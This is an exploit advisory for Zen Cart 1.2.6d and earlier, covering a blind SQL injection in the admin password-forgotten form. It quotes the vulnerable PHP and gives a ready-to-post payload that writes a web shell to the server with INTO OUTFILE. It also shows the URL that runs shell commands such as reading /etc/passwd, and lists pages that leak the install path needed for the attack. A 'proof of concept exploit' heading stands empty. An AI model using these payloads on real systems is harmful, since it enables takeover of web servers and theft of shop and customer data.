Zen-Cart <= 1.2.6d blind SQL injection / remote commands execution:

description:"Zen Cart™ truly is the art of e-commerce; a free,    user-friendly,
             open source shopping cart system. The software is   being developed
             by group of like-minded shop owners,   programmers,  designers, and
             consultants  that  think  e-commerce could  be and  should  be done
             differently.[..]"



i) blind SQL INJECTION -> remote commmands/code execution

vulnerable code in admin/password_forgotten.php:

...
if (isset($_POST['submit'])) {

  if ( !$_POST['admin_email'] ) {
    $error_check = true;
    $email_message = ERROR_WRONG_EMAIL_NULL;
  }

  $admin_email = zen_db_prepare_input($_POST['admin_email']);

  $sql = "select admin_id, admin_name, admin_email, admin_pass from " . TABLE_ADMIN . " where admin_email = '" . $admin_email . "'";
...

if magic_quotes_gpc both on & off
you can post an e-mail like this to create a shell:

'UNION SELECT 0,0,'<?php system($_GET[cmd]); ?>',0 INTO OUTFILE '[full_application_path]shell.php' FROM admin/*

so query become:

select admin_id, admin_name, admin_email, admin_pass from admin where admin_email = ''UNION SELECT
0,0,'<?php system($_GET[cmd]);?>',0 INTO OUTFILE '[full_application_path]shell.php FROM admin/*'

and after launch commands:

http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd

this is my proof of concept exploit:

ii) path disclosure:

also if ERROR_REPORTING is not set to 0 in php.ini you can go to the following locations
to disclose the path you need for injection:

http://[target]/[path]/admin/includes/graphs/banner_daily.php
http://[target]/[path]/admin/includes/graphs/banner_infobox.php
http://[target]/[path]/admin/includes/graphs/banner_yearly.php
http://[target]/[path]/admin/includes/graphs/banner_monthly.php
http://[target]/[path]/admin/includes/application_bottom.php
http://[target]/[path]/admin/includes/attributes_preview.php
http://[target]/[path]/admin/includes/modules/category_product_listing.php
http://[target]/[path]/admin/includes/modules/copy_to_confirm.php
http://[target]/[path]/admin/includes/modules/delete_product_confirm.php
http://[target]/[path]/admin/includes/modules/move_product_confirm.php

sometimes path is showned at main index.php if setup dir is not deleted
or configuration file is writable on fresh installations (bad practice...)
